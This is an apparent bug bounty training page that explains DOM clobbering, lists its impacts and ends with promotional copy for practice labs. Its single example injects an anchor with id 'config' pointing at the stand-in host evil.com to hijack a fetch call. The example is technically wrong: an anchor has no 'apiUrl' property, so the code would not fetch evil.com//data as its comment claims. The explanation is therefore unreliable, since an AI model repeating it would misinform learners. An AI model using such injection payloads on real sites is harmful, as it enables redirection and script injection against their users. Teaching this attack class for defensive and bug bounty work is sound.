DOM Clobbering

Medium

DOM Clobbering

Definition

DOM Clobbering is a web attack technique where the attacker injects HTML elements that overwrite global properties of the JavaScript DOM. Using attributes such as id or name on HTML elements, global references are created that can replace variables, objects or functions the JavaScript code expects, altering its behavior.

Impact

Cross-Site Scripting (XSS) in contexts where HTML injection is allowed but scripts are notBypassing HTML sanitizers such as DOMPurifyAltering the JavaScript execution flowRedirection to malicious URLs

Examples

DOM Clobbering to overwrite a global variable

HTML elements with an id attribute create global properties on window. If the app's JavaScript uses a global variable that matches the injected id, the HTML element overwrites it, letting the attacker control its value.

<!-- The application's JavaScript code -->
<script>
  // The app expects 'config' to be an object defined in another script
  if (typeof config !== 'undefined') {
    fetch(config.apiUrl + '/data');
  }
</script>

<!-- The attacker injects (in a field that allows HTML but not <script>) -->
<a id="config" href="https://evil.com/"></a>

<!-- Now config.toString() returns "https://evil.com/"
     and the app fetches https://evil.com//data -->

External references

Practice DOM Clobbering with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime